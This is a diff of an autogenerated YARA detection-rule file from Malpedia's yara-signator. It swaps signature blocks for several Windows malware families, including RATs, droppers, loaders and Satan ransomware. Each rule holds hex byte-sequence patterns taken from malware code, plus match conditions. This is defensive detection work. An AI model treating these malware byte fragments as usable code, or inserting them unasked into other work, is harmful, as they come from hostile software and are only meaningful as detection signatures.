-rule MALPEDIA_Win_Vobfus_Auto : FILE
+rule MALPEDIA_Win_Hi_Zor_Rat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "379cd9d3-d698-58d1-90c1-aa0d12f74cc4"
+		id = "3dc62db9-3a05-5424-a3c8-d6fd9e595782"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vobfus"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.vobfus_auto.yar#L1-L221"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hi_zor_rat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hi_zor_rat_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "87942ff8c467cfeb6529bdba1fb2a14574a28472aae2c0f0acabf5e6455fc919"
+		logic_hash = "3acb0fc19d1323e3198577328eeef1259397f6589eae60512b85396f5cbd245b"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -176474,45 +183492,32 @@ rule MALPEDIA_Win_Vobfus_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b5508 8b92e8000000 8b82841d0000 50 50 8b10 }
-		$sequence_1 = { 8b5508 8b92e8000000 8b825c1e0000 50 }
-		$sequence_2 = { 8bec 8b5508 8b92e8000000 8b82c8150000 }
-		$sequence_3 = { 8b8220000000 50 50 8b10 ff5204 58 }
-		$sequence_4 = { 8b5508 8b92e8000000 8b8200080000 50 }
-		$sequence_5 = { 8b5508 8b92e8000000 8b82b4230000 50 }
-		$sequence_6 = { 8b5508 8b92e8000000 8b82d0130000 50 }
-		$sequence_7 = { 8b5508 8b92e8000000 8b829c0e0000 50 }
-		$sequence_8 = { f3ed ebf2 ed ec }
-		$sequence_9 = { ec f2ed ec f2ed ec f3ed }
-		$sequence_10 = { f2e8fae6d5f6 d2b5f2bb8ff3 ae 73f3 aa 5c f6ac4ff8b54ffb }
-		$sequence_11 = { 801800 0808 0006 3401 41 06 }
-		$sequence_12 = { 7cc8 dc7acd e291 d2e8 }
-		$sequence_13 = { 8631 96 0a7f25 7a43 92 9afc9e5780451f }
-		$sequence_14 = { 0c38 a95bedb2e5 759e 3a9b423ceb9d 65be2dafffcd 3624e4 6bee88 }
-		$sequence_15 = { 4b ce 8ca4b11e13b793 73aa fa }
-		$sequence_16 = { 48 0008 78ff 0d50004900 3e3cff 46 }
-		$sequence_17 = { 5c f6ac4ff8b54ffb c058fcca 61 }
-		$sequence_18 = { 46 14ff 0470 fe0a }
-		$sequence_19 = { e752 47 625403a7 78f5 06 95 }
-		$sequence_20 = { 6c 74ff 801800 0808 }
-		$sequence_21 = { b909dfd18c 9d 7454 2bcd 8ab411746337ed 80ab931e2e5e88 }
-		$sequence_22 = { c8ed9459 ef 60 226aa3 60 8907 6bdd97 }
+		$sequence_0 = { c644303080 8b4e24 83e13f 80f937 7614 8bc6 e8???????? }
+		$sequence_1 = { ff15???????? 8b4d08 57 8bf0 51 56 }
+		$sequence_2 = { e8???????? 8b1d???????? 83c418 6804010000 8d8df4fdffff 51 }
+		$sequence_3 = { 23da 8bfa 8b5014 f7d7 }
+		$sequence_4 = { 8b5818 8db41e604b0000 c1e610 c1ef10 0bfe }
+		$sequence_5 = { 037018 f7d2 8975f8 897014 8bfa 0b55f8 }
+		$sequence_6 = { 57 51 50 8945f4 e8???????? 8b450c }
+		$sequence_7 = { 50 51 e8???????? 83c424 893e 5f 5e }
+		$sequence_8 = { ffd6 8b55ec 83c404 52 ffd6 83c404 }
+		$sequence_9 = { 83c40c 6a00 8d450c 50 6800e00100 8d4608 50 }
 
 	condition:
-		7 of them and filesize <409600
+		7 of them and filesize <73728
 }
-rule MALPEDIA_Win_Darktequila_Auto : FILE
+rule MALPEDIA_Win_Electric_Powder_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "24336c6c-1ca4-5e88-a6d8-a7828b6362d5"
+		id = "6da8b24a-07fd-5fc6-a509-6cbc31d92594"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darktequila"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.darktequila_auto.yar#L1-L116"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.electric_powder"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.electric_powder_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "cfa088d1d1871ddb38182a8cfb5b3421267e6793e63357e090f59bf6001f73cc"
+		logic_hash = "38cd56e857c27f71ed9be956ee8235c5f49da7b5b360cadbe53a42a73ba8199e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -176526,71 +183531,71 @@ rule MALPEDIA_Win_Darktequila_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c3 85c9 7414 8b5b10 85c0 }
-		$sequence_1 = { 85c0 740d 894610 b801000000 897e04 }
-		$sequence_2 = { 8b45fc 50 ff15???????? 8b0d???????? 8b5508 }
-		$sequence_3 = { e8???????? 83c410 897b08 5f }
-		$sequence_4 = { 8bd3 e8???????? 8b4310 56 }
-		$sequence_5 = { 740d 894610 b801000000 897e04 5b }
-		$sequence_6 = { 72dc b8???????? c3 33d2 3915???????? 0f857c000000 }
-		$sequence_7 = { 8945f8 85c0 7467 8b4b0c 8b5310 894df4 }
-		$sequence_8 = { 83c410 897b08 5f b801000000 5e }
-		$sequence_9 = { c705????????02000000 8b45fc 50 ff15???????? 8b0d???????? 8b5508 a1???????? }
+		$sequence_0 = { 3b4e08 0f8324010000 8b4604 c704c810000000 8b4608 83e801 8945fc }
+		$sequence_1 = { 03c0 660f289800904300 660f2835???????? 660f59cf 660f58d1 660f70caee f20f59d7 }
+		$sequence_2 = { 8d8d20fdffff c78530fdffff00000000 c78534fdffff0f000000 c68520fdffff00 e8???????? c745fc00000000 8d8d20fdffff }
+		$sequence_3 = { 7202 8b39 8b4110 85c0 7449 48 83ceff }
+		$sequence_4 = { 0f8389010000 8b5604 3bc8 0f8388010000 8b44fa04 8944ca04 }
+		$sequence_5 = { c645fc20 51 8bd0 8d8d78fcffff e8???????? 83c404 68???????? }
+		$sequence_6 = { 50 51 8d8d68faffff e8???????? 83bd7cfaffff08 8d8568faffff }
+		$sequence_7 = { 7202 8b3f 83fa08 731a }
+		$sequence_8 = { 83c404 89b518efffff 85f6 0f84be000000 8b8d40efffff 03c9 }
+		$sequence_9 = { 83f8ff 773b 83f8ef 7736 8b4f04 83c010 50 }
 
 	condition:
-		7 of them and filesize <1827840
+		7 of them and filesize <565248
 }
-rule MALPEDIA_Win_Unidentified_073_Auto : FILE
+rule MALPEDIA_Win_Morto_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0ba61f73-e46a-5f54-853f-f1f3b502ee26"
-		date = "2022-08-05"
-		modified = "2022-08-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_073"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_073_auto.yar#L1-L125"
+		id = "b4e2fdf6-28d4-5bb0-a9a0-1ea448c5566e"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.morto"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.morto_auto.yar#L1-L116"
 		license_url = "N/A"
-		logic_hash = "8100472ca712d569bbcdb570af72e3f13986092b4d8ee8e3873da55bef76232d"
+		logic_hash = "a9b63fda2800565a4b4486897d85bf042e81c5ab64e52d3f79cf07bf3408f96f"
 		score = 75
 		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
 		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20220805"
-		malpedia_hash = "6ec06c64bcfdbeda64eff021c766b4ce34542b71"
-		malpedia_version = "20220808"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
 		malpedia_license = "CC BY-SA 4.0"
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d8538ffffff 6a00 c746180f000000 8bce }
-		$sequence_1 = { c684242801000019 e8???????? 68???????? 8d8c24c0000000 e8???????? 6aff }
-		$sequence_2 = { 8bce c7461400000000 50 c6460400 e8???????? 83ec1c 8bf4 }
-		$sequence_3 = { 7846 8b451c 8b0e 2bc1 3bc3 7c53 }
-		$sequence_4 = { 8b0d???????? 894df8 eb09 8b55f8 83ea01 8955f8 837df800 }
-		$sequence_5 = { 6a00 8d8424dc000000 50 8d4c2454 e8???????? 83ec1c 8d84240c010000 }
-		$sequence_6 = { 8bec 51 894dfc c705????????90664a00 833d????????00 741c }
-		$sequence_7 = { 6bd103 8982a0784a00 68???????? 8b45fc 50 ff15???????? }
-		$sequence_8 = { 0fb74df8 894de0 668b55e0 668955f8 0fb745fc 0fb74df8 3bc1 }
-		$sequence_9 = { 57 6aff 68???????? 50 ff15???????? }
+		$sequence_0 = { 280c30 40 3b450c 72f4 8b4608 6a40 }
+		$sequence_1 = { 50 e8???????? 83c40c 8945e4 8d45cc }
+		$sequence_2 = { 03d0 8911 ffd2 5f 5e }
+		$sequence_3 = { 03f5 42 8a1e 46 }
+		$sequence_4 = { ff35???????? c745ec04000000 c745fce8030000 ff15???????? }
+		$sequence_5 = { 8bf0 c1ee08 83e601 8d3c56 }
+		$sequence_6 = { 41 8d441201 8bd0 c1ea08 83e201 a87f 8d3c7a }
+		$sequence_7 = { c745d0636c6965 c745d46e745c61 8945d8 c745dc44726f70 }
+		$sequence_8 = { 6802000080 ff55e0 85c0 755f 8d45f8 50 }
+		$sequence_9 = { 894dfc 895508 eb03 8b75f4 b980000000 33c0 8dbdf0fdffff }
 
 	condition:
-		7 of them and filesize <1974272
+		7 of them and filesize <49152
 }
-rule MALPEDIA_Win_Cuegoe_Auto : FILE
+rule MALPEDIA_Win_Sdbbot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "eccb0436-f9ed-5e03-8d27-4464cf8de9a1"
+		id = "6668321a-45c2-56a4-8219-52041c66e0ea"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cuegoe"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cuegoe_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sdbbot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sdbbot_auto.yar#L1-L188"
 		license_url = "N/A"
-		logic_hash = "9bdbb34dedb6d213b915fa268b74e0986ed09811af8e7637c05b65b2310f3a18"
+		logic_hash = "0618d5957379edb357e3ce8de647ff0724885b87e782036bd514add2c7f2cbe6"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -176604,32 +183609,40 @@ rule MALPEDIA_Win_Cuegoe_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 397d68 7409 ff7568 e8???????? 59 6a57 5e }
-		$sequence_1 = { 50 895de4 e8???????? 837d2808 8b4514 }
-		$sequence_2 = { 0f8390feffff 8b0488 0fb6c8 894538 c16d3808 894d3c }
-		$sequence_3 = { 6a00 50 e8???????? 83c40c 33c0 89442410 e9???????? }
-		$sequence_4 = { 6a0a 8d45e8 8975e4 e8???????? 8d5dd0 e8???????? }
-		$sequence_5 = { 50 e8???????? 8d4570 50 ff750c 8d85d0030000 56 }
-		$sequence_6 = { 69c0a0860100 8a563c c7460c01000000 885608 89442410 3bd8 0f8387050000 }
-		$sequence_7 = { 8b0488 0fb6c8 894538 c16d3808 894d3c 899d40040000 8b15???????? }
-		$sequence_8 = { 8d858c000000 50 8d8574ffffff 6a4c 50 e8???????? 59 }
-		$sequence_9 = { 0f94c1 888c286c0d0000 03c7 89442410 837c241010 0f8c7affffff }
+		$sequence_0 = { e8???????? 8bf8 ba4d5a0000 6690 }
+		$sequence_1 = { 803e61 7203 83c1e0 81c2ffff0000 03cf }
+		$sequence_2 = { 8bcf 85d2 7418 8bfe 2b7df8 }
+		$sequence_3 = { 8d4901 8841ff 8d5201 83ee01 }
+		$sequence_4 = { 2bd1 03c1 8955ec 8945e4 85d2 0f8560ffffff }
+		$sequence_5 = { 8b7028 33c9 0fb75024 0f1f8000000000 0fb63e }
+		$sequence_6 = { 8b01 03c6 8945e8 eb2e 3daafc0d7c }
+		$sequence_7 = { 6683f803 750b 81e1ff0f0000 013c31 eb27 6683f801 7511 }
+		$sequence_8 = { c3 803d????????00 750c c605????????01 }
+		$sequence_9 = { 33f6 8a27 83c702 84e4 7437 }
+		$sequence_10 = { 7419 0f1f8000000000 0fb602 48ffc2 8801 488d4901 4983e801 }
+		$sequence_11 = { 0f1f840000000000 418b49f8 49ffca 418b11 4903ce 458b41fc }
+		$sequence_12 = { 7204 4883c0e0 4803c1 48ffc2 664503c1 75e5 3d5bbc4a6a }
+		$sequence_13 = { 48833f00 488bd8 75a4 4883c514 837d0000 0f856dffffff }
+		$sequence_14 = { 4903ce 41ffd5 488bf0 4885c0 7474 }
+		$sequence_15 = { 85c0 0f84bb000000 418b9fb0000000 8bf8 4903de }
+		$sequence_16 = { 4d2bc5 0fb601 41880408 488d4901 4883ea01 75ef 450fb74f14 }
+		$sequence_17 = { 4d03fd 41b800300000 448d4940 418b5750 ffd6 418b5750 488bc8 }
 
 	condition:
-		7 of them and filesize <540672
+		7 of them and filesize <1015808
 }
-rule MALPEDIA_Win_Tandfuy_Auto : FILE
+rule MALPEDIA_Win_Portdoor_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "38730032-1555-50d4-b759-37b770d675ac"
+		id = "84ef053f-8b45-5899-91c4-5c0973d7e3db"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tandfuy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tandfuy_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.portdoor"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.portdoor_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "7ea6bc2b0de15e30b85cc41fe9dae28b9e373e31fa36302d55838d87545cc73b"
+		logic_hash = "23b6dfc496aede71e92bc63441565950d5591602bef8ef2eba1715ff0ea58fc2"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -176643,32 +183656,32 @@ rule MALPEDIA_Win_Tandfuy_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 52 8b942458010000 25ff000000 81e1ff000000 50 }
-		$sequence_1 = { f68221eb6e0004 7403 40 ff01 ff01 40 e9???????? }
-		$sequence_2 = { e8???????? 83c404 85c0 0f8440010000 b93e000000 33c0 8dbdd8f9ffff }
-		$sequence_3 = { 8bec 8b4508 ff3485a0d66e00 ff15???????? 5d c3 55 }
-		$sequence_4 = { 6a00 51 6a02 52 56 ff15???????? 56 }
-		$sequence_5 = { 52 33c9 8a4801 51 33d2 8a10 }
-		$sequence_6 = { f3ab 8dbc2474020000 83c9ff f2ae f7d1 2bf9 8bc1 }
-		$sequence_7 = { 7562 b8???????? 81c49c000000 c3 83f806 7551 }
-		$sequence_8 = { 8d95e8feffff 8b7d08 83c9ff 33c0 f2ae f7d1 }
-		$sequence_9 = { 6800000080 56 f3ab ff15???????? 8bd8 }
+		$sequence_0 = { 50 e8???????? 83f8ff 8906 0f95c0 eb2f 807e5100 }
+		$sequence_1 = { 50 8d85fcf3ffff 50 e8???????? 8bf0 }
+		$sequence_2 = { ff5718 8903 6a04 59 8d4102 33d2 }
+		$sequence_3 = { 8945a8 eb04 8365a800 8b45a8 894590 834dfcff 8b4590 }
+		$sequence_4 = { 50 8b8528e5ffff 0f94c1 898d3ce5ffff 8b8d24e5ffff 8b0485b80f0210 ff3401 }
+		$sequence_5 = { 894224 6689424c 894248 88424e 8a01 88040b }
+		$sequence_6 = { 7e21 8b450c 6a00 2bc6 }
+		$sequence_7 = { 51 51 8d45f8 895df8 }
+		$sequence_8 = { e8???????? 8bf8 b8eeff0000 59 668907 8b450c 885f02 }
+		$sequence_9 = { e8???????? a1???????? 33c5 8945fc 53 8b5d08 8d85fdfbffff }
 
 	condition:
-		7 of them and filesize <155648
+		7 of them and filesize <297984
 }
-rule MALPEDIA_Win_Polyglotduke_Auto : FILE
+rule MALPEDIA_Win_8T_Dropper_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "afe4cb05-aa94-5225-84e8-b6489c3e26d1"
+		id = "62f20b6c-23f8-52e5-8f38-7d977c3fc023"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.polyglotduke"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.polyglotduke_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.8t_dropper"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.8t_dropper_auto.yar#L1-L115"
 		license_url = "N/A"
-		logic_hash = "37a5b9867f5de08a35688f7a9273792487d4c60d613dec2d499a53b9323d3f00"
+		logic_hash = "f24ad3d6bfd5a20c8c809ac43affb0600d938cb9b1cb9cd8c47771e603e82a25"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -176682,32 +183695,32 @@ rule MALPEDIA_Win_Polyglotduke_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 488b5608 448bc7 488bc8 488bd8 e8???????? }
-		$sequence_1 = { 0fb7f9 492bf3 498bcb 33d2 33c0 }
-		$sequence_2 = { 48895c2408 57 4883ec20 488bfa 488bd9 488d0595970000 488981a0000000 }
-		$sequence_3 = { 4c8be8 e8???????? 488d0d88120100 e8???????? 488d4c2430 8bd3 4c8bc0 }
-		$sequence_4 = { 488be8 498bcc e8???????? 488bcf e8???????? }
-		$sequence_5 = { 48894518 e8???????? 488d0dbae30000 48894520 e8???????? 488d0daee30000 }
-		$sequence_6 = { 42392c3e 0f849bfaffff 428b143e 4a8d4c3e04 e8???????? 488d0dec0c0100 ba10000000 }
-		$sequence_7 = { e8???????? b8cdcccccc f7e5 c1ea02 8d0492 2be8 }
-		$sequence_8 = { 99 f77c2428 4863c2 410fb70c46 488b442440 4533f6 66894c4450 }
-		$sequence_9 = { 488bf1 8d4301 ba02000000 498be8 }
+		$sequence_0 = { 741b 56 6800700000 6a01 68???????? }
+		$sequence_1 = { ff74240c e8???????? 83c40c c3 8b442408 83f801 }
+		$sequence_2 = { c6440c0e6e 8d4c2408 51 683f000f00 50 }
+		$sequence_3 = { 68???????? 50 ff15???????? 85c0 7559 8b4c2408 51 }
+		$sequence_4 = { 50 ff15???????? 85c0 7559 8b4c2408 }
+		$sequence_5 = { 49 c6440c0c52 c6440c0d75 c6440c0e6e }
+		$sequence_6 = { 68???????? 6a02 50 8b442418 }
+		$sequence_7 = { 7559 8b4c2408 51 ff15???????? }
+		$sequence_8 = { 6800700000 6a01 68???????? e8???????? 56 e8???????? }
+		$sequence_9 = { ff15???????? 8d942410010000 6804010000 52 68???????? }
 
 	condition:
-		7 of them and filesize <222784
+		7 of them and filesize <147456
 }
-rule MALPEDIA_Win_Nvisospit_Auto : FILE
+rule MALPEDIA_Win_Snatch_Loader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "824469e0-98f2-5eab-b839-ba6db77c2d16"
+		id = "27465de5-7033-587f-a756-9377f064a810"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nvisospit"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nvisospit_auto.yar#L1-L119"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.snatch_loader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.snatch_loader_auto.yar#L1-L176"
 		license_url = "N/A"
-		logic_hash = "385fb86660d71ea6f219554af1885e2ee67e8307dd338d6dbd8b2f326f4be091"
+		logic_hash = "0092d0e62ac35cefc4568a8a8fbdf579b918d859e448f714bc73aa915417d36e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -176721,32 +183734,38 @@ rule MALPEDIA_Win_Nvisospit_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83f801 0f851e010000 8d710c 81fe???????? 0f8350feffff 895dbc }
-		$sequence_1 = { a1???????? ffd0 83ec04 0fb785a2f9ffff 0fb7c0 8d959cf9ffff 89542410 }
-		$sequence_2 = { c70424???????? e8???????? 85db c705????????02000000 0f85d1fdffff }
-		$sequence_3 = { a1???????? 31c9 c705????????00004000 8b00 85c0 }
-		$sequence_4 = { 89442404 c70424???????? e8???????? 0fb785a8f9ffff }
-		$sequence_5 = { 0f8e16010000 85d2 0f8493010000 b9???????? 81f9???????? }
-		$sequence_6 = { 0fb7c0 8d959cf9ffff 89542410 c744240c00000000 8d958ef9ffff 89542408 }
-		$sequence_7 = { 83ec0c 8945bc 8b45bc 89442404 }
-		$sequence_8 = { e8???????? c7442404b0feffff c70424???????? e8???????? c7442404ccffffff c70424???????? }
-		$sequence_9 = { 8d9dacfbffff 81c307010000 895c2414 8d9dacfbffff 83c306 895c2410 894c240c }
+		$sequence_0 = { 66894606 a1???????? 85c0 7522 6a02 59 }
+		$sequence_1 = { 8bc8 8b45fc 33d2 85c9 5e 0f45c2 8be5 }
+		$sequence_2 = { 51 56 56 ffd0 8bc8 8b45fc 33d2 }
+		$sequence_3 = { 33f6 8bd9 57 85c0 7522 6a02 }
+		$sequence_4 = { ffd0 5f 85c0 7509 8bce e8???????? }
+		$sequence_5 = { ffd0 85c0 8bce 0f457dfc }
+		$sequence_6 = { 85c0 7505 8b45fc eb0d 53 53 }
+		$sequence_7 = { 33f6 8bd6 8975fc 66397102 740b 42 }
+		$sequence_8 = { 46 3bf3 76d8 33c0 48 5a 59 }
+		$sequence_9 = { 741f 3a0439 7514 41 3b4df8 }
+		$sequence_10 = { 68???????? 58 ffd0 8945f0 0bc0 }
+		$sequence_11 = { 33d2 33c9 8a0431 0ac0 741f }
+		$sequence_12 = { 52 ff750c e8???????? 8945fc 0bc0 7454 394508 }
+		$sequence_13 = { 55 8bec 83c4fc 53 33db 837d0800 }
+		$sequence_14 = { 3b45fc 773b 8b750c 8b7d10 037508 8bde }
+		$sequence_15 = { 7206 3c5a 7702 0c20 c1c210 }
 
 	condition:
-		7 of them and filesize <66560
+		7 of them and filesize <262144
 }
-rule MALPEDIA_Win_Zedhou_Auto : FILE
+rule MALPEDIA_Win_Neddnloader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2aa4d978-6d48-5f72-a16b-4b6ea617b5b6"
+		id = "8eecbeb9-33c7-5f00-852d-691f303c8b89"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zedhou"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zedhou_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.neddnloader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.neddnloader_auto.yar#L1-L169"
 		license_url = "N/A"
-		logic_hash = "b60fc9437fc4bcd4e7a504c33358b6d6c8b7b5e0237aab2ee62dd854e5c508d6"
+		logic_hash = "318d1d367a3335dce76e46790f71f42f9c5ddb3e28ec2c109117f64c52aadcd2"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -176760,34 +183779,40 @@ rule MALPEDIA_Win_Zedhou_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b4dac 894dd8 8d55d0 52 8d45d4 50 }
-		$sequence_1 = { ff5030 5f 5e 5b c9 c22400 }
-		$sequence_2 = { 57 ff7508 56 ff15???????? ff7508 ff15???????? 8bc6 }
-		$sequence_3 = { 8d4da4 51 8b5508 8b02 8b4d08 51 ff9008070000 }
-		$sequence_4 = { ff15???????? 8d4dc0 ff15???????? 0fbf4598 85c0 742a c745fc06000000 }
-		$sequence_5 = { 68???????? 8b85acfeffff 50 8b8da8feffff 51 ff15???????? 8985c4fdffff }
-		$sequence_6 = { 33c0 f3a6 0f85653a0000 85d2 }
-		$sequence_7 = { ff15???????? 83c41c c745fc04000000 8b5508 8b02 8b4d08 51 }
-		$sequence_8 = { ff15???????? c745fc7f000000 8b5508 8b4238 50 68???????? ff15???????? }
-		$sequence_9 = { e8???????? 894604 8b430c 59 8b04c5fc201822 59 6a01 }
+		$sequence_0 = { 83c204 3bcf 72f0 8d43ff }
+		$sequence_1 = { 69c0b179379e c1e813 03c9 0fb73411 }
+		$sequence_2 = { 8b5508 69c0b179379e c1e813 33c9 66890c42 }
+		$sequence_3 = { 8d43ff 3bc8 7311 0fb702 }
+		$sequence_4 = { 8bc1 2b45fc 5f 5e }
+		$sequence_5 = { eb02 0008 8b45f8 83c0f4 897dfc }
+		$sequence_6 = { 663bc6 7506 83c102 83c202 3bcb 7307 }
+		$sequence_7 = { 7311 0fb702 0fb731 663bc6 7506 83c102 }
+		$sequence_8 = { 488bf2 41c1ed04 492bf0 41ffc5 488bd3 488bcf }
+		$sequence_9 = { 410fb6c0 4133b48e803c0100 4133b48680480100 418bc0 41337530 c1e808 0fb6d0 }
+		$sequence_10 = { 0fb6c8 410fb6c0 4133bc8e803c0100 4133bc8680480100 41337d60 418bc0 }
+		$sequence_11 = { 448bce 448bc7 488bd0 498bce e8???????? 448bf0 }
+		$sequence_12 = { 488d3d24570000 eb0e 488b03 4885c0 7402 }
+		$sequence_13 = { 0fb6d0 418bc6 458b949480440100 c1e810 0fb6c8 8bc5 }
+		$sequence_14 = { 488d0d14100100 baa00f0000 488bc5 83e51f 48c1f805 486bed58 }
+		$sequence_15 = { ff5348 b97f000000 ff15???????? eb1e 488b5350 498bcd ff5348 }
 
 	condition:
-		7 of them and filesize <499712
+		7 of them and filesize <3438592
 }
-rule MALPEDIA_Win_Cobint_Auto : FILE
+rule MALPEDIA_Win_Satan_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "817f690c-d59f-5f8a-a3d9-41671b2ba114"
+		id = "ddfd46bc-87c6-53ce-9595-be9a6a99e4e0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobint"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cobint_auto.yar#L1-L246"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.satan"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.satan_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "138f47bd93e47d27bded8ff6cb142802d64943eb32ae6054eb04266b57a32a5b"
+		logic_hash = "6170986a4237acbed4cbbf775dbbfb72e2b63776fab2b68ba052c6ad44853238"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -176799,46 +183824,32 @@ rule MALPEDIA_Win_Cobint_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83c410 5e 5d c3 a1???????? 56 33f6 }
-		$sequence_1 = { 3931 740d 40 83c110 83f820 }
-		$sequence_2 = { 57 ff15???????? 8b15???????? 8bc6 8bca }
-		$sequence_3 = { ff7508 e8???????? 83c40c 0fb6c0 5d c3 ff751c }
-		$sequence_4 = { 33f6 a1???????? 03c6 3938 }
-		$sequence_5 = { ffd6 f7d8 c745f404000000 1bc0 }
-		$sequence_6 = { 6a65 eb31 85db 743a 3bde 7336 53 }
